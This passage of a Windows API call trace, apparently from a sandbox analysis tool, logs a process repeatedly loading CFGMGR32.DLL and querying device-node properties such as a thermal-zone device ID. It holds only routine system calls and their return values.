0x7ffa786ca490 [0184.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.399] malloc (_Size=0x18) returned 0x196ef0d1d60 [0184.399] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x16, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0184.400] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0184.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4ec2ea40, dwHighDateTime=0x1d9eb0c)) [0184.400] SetEvent (hEvent=0x248) returned 1 [0184.404] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.404] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.407] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0184.407] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x16, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0184.407] malloc (_Size=0x48) returned 0x196ef0fb950 [0184.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4ec2ea40, dwHighDateTime=0x1d9eb0c)) [0184.407] SetEvent (hEvent=0x248) returned 1 [0184.411] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.411] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.414] malloc (_Size=0x18) returned 0x196ef0d2000 [0184.414] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0184.415] malloc (_Size=0x48) returned 0x196ef0fb270 [0184.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4ec668c9, dwHighDateTime=0x1d9eb0c)) [0184.415] SetEvent (hEvent=0x248) returned 1 [0184.535] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.535] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.536] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.536] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.536] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.536] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.536] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.536] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.537] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.537] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.537] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.537] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.537] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.537] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.537] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.537] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.538] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.538] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.538] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.538] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.538] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.538] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.538] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.538] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0184.539] CM_Get_Device_IDA (in: dnDevInst=0x17, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\THERMALZONE\\TZ00") returned 0x0 [0184.539] malloc (_Size=0x48) returned 0x196ef0fbef0 [0184.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4ed94d37, dwHighDateTime=0x1d9eb0c)) [0184.539] SetEvent (hEvent=0x248) returned 1 [0184.542] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.542] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.545] malloc (_Size=0x18) returned 0x196ef0d1de0 [0184.545] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0184.545] malloc (_Size=0x3e) returned 0x196ef0fbb80 [0184.545] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0fbb80, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0fbb80, pulLength=0x67117d608) returned 0x0 [0184.546] free (_Block=0x196ef0fbb80) [0184.546] malloc (_Size=0x48) returned 0x196ef0fba40 [0184.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4edac101, dwHighDateTime=0x1d9eb0c)) [0184.546] SetEvent (hEvent=0x248) returned 1 [0184.549] malloc (_Size=0x18) returned 0x196ef0d1e60 [0184.549] SafeArrayPutElement (psa=0x196ee7bf6e0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0184.549] free (_Block=0x196ef0d1e60) [0184.549] malloc (_Size=0x18) returned 0x196ef0d1e60 [0184.549] SafeArrayPutElement (psa=0x196ee7bf6e0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0184.549] free (_Block=0x196ef0d1e60) [0184.549] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855360 [0184.549] SafeArrayGetDim (psa=0x196ee7bf6e0) returned 0x1 [0184.549] SafeArrayGetLBound (in: psa=0x196ee7bf6e0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0184.549] SafeArrayGetUBound (in: psa=0x196ee7bf6e0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0184.549] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6260 [0184.549] SafeArrayGetDim (psa=0x196ee7bf6e0) returned 0x1 [0184.549] SafeArrayGetUBound (in: psa=0x196ee7bf6e0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0184.549] SafeArrayGetElemsize (psa=0x196ee7bf6e0) returned 0x8 [0184.550] SafeArrayGetElement (in: psa=0x196ee7bf6e0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0184.550] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e690, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0184.550] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e698, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0184.551] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6260) returned 1 [0184.552] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855360) returned 1 [0184.552] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.552] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.556] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.556] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.556] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.556] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.557] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.557] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.557] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.558] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.558] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.560] malloc (_Size=0x18) returned 0x196ef0d1d20 [0184.561] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0184.561] malloc (_Size=0x48) returned 0x196ef0fb6d0 [0184.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4edd2ccd, dwHighDateTime=0x1d9eb0c)) [0184.561] SetEvent (hEvent=0x248) returned 1 [0184.566] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.566] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.573] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0184.573] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0184.744] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0184.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4ef75b83, dwHighDateTime=0x1d9eb0c)) [0184.744] SetEvent (hEvent=0x248) returned 1 [0184.747] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.747] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.750] malloc (_Size=0x18) returned 0x196ef0d1b40 [0184.750] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0184.751] malloc (_Size=0x48) returned 0x196ef0fb950 [0184.751] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4ef9c2a9, dwHighDateTime=0x1d9eb0c)) [0184.751] SetEvent 